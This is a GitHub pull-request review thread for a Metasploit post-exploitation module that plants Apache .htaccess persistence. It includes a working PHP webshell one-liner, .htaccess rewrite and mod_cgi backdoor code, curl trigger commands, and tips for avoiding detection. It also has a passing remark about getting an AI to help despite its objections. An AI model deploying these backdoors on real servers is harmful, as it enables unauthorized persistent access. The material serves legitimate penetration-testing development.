Add Apache .htaccess Persistence Module#21473
Conversation
| htaccess_payload = "\nRewriteEngine On\n" | ||
| htaccess_payload += "RewriteCond %{QUERY_STRING} trigger=shell\n" | ||
| htaccess_payload += "RewriteRule ^.*$ #{trigger_url} [L,R=302]\n" | ||
| append_file(htaccess_path, htaccess_payload) |
There was a problem hiding this comment.
Back the file up to loot before editing so we can restore it later
|
|
||
| class MetasploitModule < Msf::Post | ||
| include Msf::Post::File | ||
| include Msf::Post::Unix |
There was a problem hiding this comment.
I would convert this into a persistence module, see https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/persistence/vim_plugin.rb or https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/example_linux_persistence.rb as an example
| Verified on Metasploitable2 (Ubuntu). | ||
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'Author' => ['4ravind-b'], |
| ], | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [], |
| register_options([ | ||
| OptString.new('HTACCESS_PATH', [true, 'Full path to .htaccess file', '/var/www/.htaccess']), | ||
| OptString.new('SHELL_PATH', [true, 'Full path to drop shell file', '/var/www/shell.php']), | ||
| OptString.new('TRIGGER_URL', [true, 'URL path to trigger shell', '/shell.php']) |
There was a problem hiding this comment.
The examples from wireghoul show putting the payload in the .htaccess file: https://github.com/wireghoul/htshells/blob/master/shell/mod_cgi.shell.bash.htaccess
I'd start with mod_cgi, its easiest although not common. In theory what we'd want in the future is something to detect if any mod_* are enabled (like mod_python, mod_perl and there rest of the mod items from wireghoul's repo) and then write the payload in a compliant way. So When coding in to check for things, make sure you do it in a loop or other expandable way.
There was a problem hiding this comment.
If you use AI to help with this, and it doesn't get mad at you, give it wireghoul's repo in /shell/ and let it add all the different ones
|
|
||
| # Step 3 - Enable mod_rewrite | ||
| print_status('Enabling mod_rewrite...') | ||
| cmd_exec('a2enmod rewrite && /etc/init.d/apache2 restart') |
There was a problem hiding this comment.
restarting apache will likely be noticed by many places. I'd make the restart a boolean option, default to to true (although i'm 50/50 on that, but web servers dont restart often)
|
|
||
| # Step 4 - Write .htaccess trigger | ||
| print_status("Writing trigger to #{htaccess_path}") | ||
| htaccess_payload = "\nRewriteEngine On\n" |
There was a problem hiding this comment.
only add if its not already there
| htaccess_payload += "RewriteCond %{QUERY_STRING} trigger=shell\n" | ||
| htaccess_payload += "RewriteRule ^.*$ #{trigger_url} [L,R=302]\n" | ||
| append_file(htaccess_path, htaccess_payload) | ||
| cmd_exec("chmod 644 #{htaccess_path}") |
There was a problem hiding this comment.
i think post has a chmod function already, use that
| print_status("Dropping shell at #{shell_path}") | ||
| php_payload = '<?php if(isset($_GET[\'cmd\'])){ echo shell_exec($_GET[\'cmd\']); } ?>' |
There was a problem hiding this comment.
this can go away, embed the payload in .htaccess
| # Step 6 - Done | ||
| print_good('Persistence deployed!') | ||
| print_status("Trigger with: curl 'http://TARGET/?trigger=shell'") | ||
| print_status("Run commands: curl 'http://TARGET#{trigger_url}?cmd=whoami'") |
|
Thanks for the detailed review @h00die and suggestions! I’ll work through the requested changes and update the PR |
|
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
|
@h00die I've addressed the following review comments:
Currently implemented:
Planned for follow-up:
Still working on:
|
|
@msutovsky-r7 and @h00die Documentation has been added at:
|
|
@4ravind-b thanks for the changes, but it still doesn't seem like your module reflects the structure, function or location of persistence module. Take a look at structure of this - the persistence module should provide a "persistence" mechanism, meaning you'll receive a new shell from your persistence mechanism and then when you close that connection, restart the handler, re-trigger the persistence mechanism, you'll get a shell. Please make necessary changes. Furthermore, your module is in wrong folder - it still exists as |
|
@msutovsky-r7 Thanks for the clarification! I'll:
Will update the PR shortly. |
|
@msutovsky-r7 I've moved the module to The module successfully deploys the
The original wireghoul Would you recommend using a different payload type here, or should the module switch to another execution approach for obtaining a shell? Current generated #!/bin/sh
winning \
echo -en "Content-Type: text/plain\r\n\r\n" |
|
@msutovsky-r7 @h00die I've been working on the payload execution issue but still running into the same problem — CMD payloads generate semicolons which break in the CGI context. While waiting for guidance on the payload approach, would it be okay if I start working on another module in parallel? Happy to come back to this as soon as you advise on the payload direction. |
|
Hi @h00die , @msutovsky-r7 , and @zeroSteiner — just a heads up: I’ll be unavailable starting this Saturday for about a week. I’ll continue working on PR #21473 as soon as I’m back. Thanks for your patience! |
|
general ideas to get around character issues:
|
|
@h00die Thanks for the suggestions! I'll implement the base64 approach — encode the payload and have .htaccess decode and execute it. Will update the PR when I'm back next week. |
|
@h00die I've tested on both Apache 2.2.8 (Metasploitable2) and Apache 2.4.67 (local). Unfortunately, both suggestions still fail in the CGI context.
Tested structure: #!/bin/sh
# winning \
echo -en "Content-Type: text/plain\r\n\r\n"
echo hello
Options +ExecCGI
AddHandler cgi-script .htaccessError log on both versions: Could you share the exact working example or Apache configuration needed for this trick to work? |
|
best i can do is point you to the source repo. try their work and modify from there. While I tried this a little, it was YEARS ago |
|
@h00die still wrapping my head around exactly how Apache handles the CGI execution order here — the more I dig into it the more interesting (and confusing) it gets! Will go through the wireghoul examples and come up with something concrete. Also is the wireghoul repo the only reference for this? Asking because I'm currently preparing for CEH and planning toward OSCP, so any resources you'd recommend would really help! |
|
@h00die @msutovsky-r7 Update — got it working using wireghoul's exact original structure! What was fixed:
Verified working on Apache 2.2.8 (Metasploitable2) after manually configuring Apache with:
Command execution via URL: curl "http://TARGET/.htaccess?whoami" → returns www-data
Note: This module works on Apache servers already configured for .htaccess CGI execution. Still pending:
|
|
good progress! that should help you now work out how to get an arbitrary payload working no need to include screenshots, usually just your msf console is good |
|
@h00die Thanks! I'll work on integrating arbitrary payload support. |
There was a problem hiding this comment.
I think this is leftover file
| mod_check = cmd_exec('apache2ctl -M 2>/dev/null || httpd -M 2>/dev/null') | ||
| unless mod_check.include?('cgi') | ||
| print_status('Enabling mod_cgi...') | ||
| cmd_exec('a2enmod cgi') |
There was a problem hiding this comment.
Use create_process as cmd_exec should be depreciated
| def exploit | ||
| install_persistence | ||
| end |
There was a problem hiding this comment.
The install_persistence is called automatically when the module is persistence module







This module adds Apache
.htaccesspersistence on a Linux target. It writes a maliciousRewriteRuleinto an existing.htaccessfile and drops a PHP webshell. Once deployed, an attacker can execute arbitrary commands via HTTP GET requests, even after the target reboots.Fixes #17728
Verification
Start
msfconsole.Obtain a session on the target (Metasploitable2 used for testing):
Load and run the module:
Verify persistence deployment:
Verify command execution:
curl "http://TARGET/shell.php?cmd=whoami"Expected output:
Verify persistence survives reboot:
curl "http://TARGET/shell.php?cmd=id"Expected output:
Verify the module does not run without a valid
SESSION.Screenshots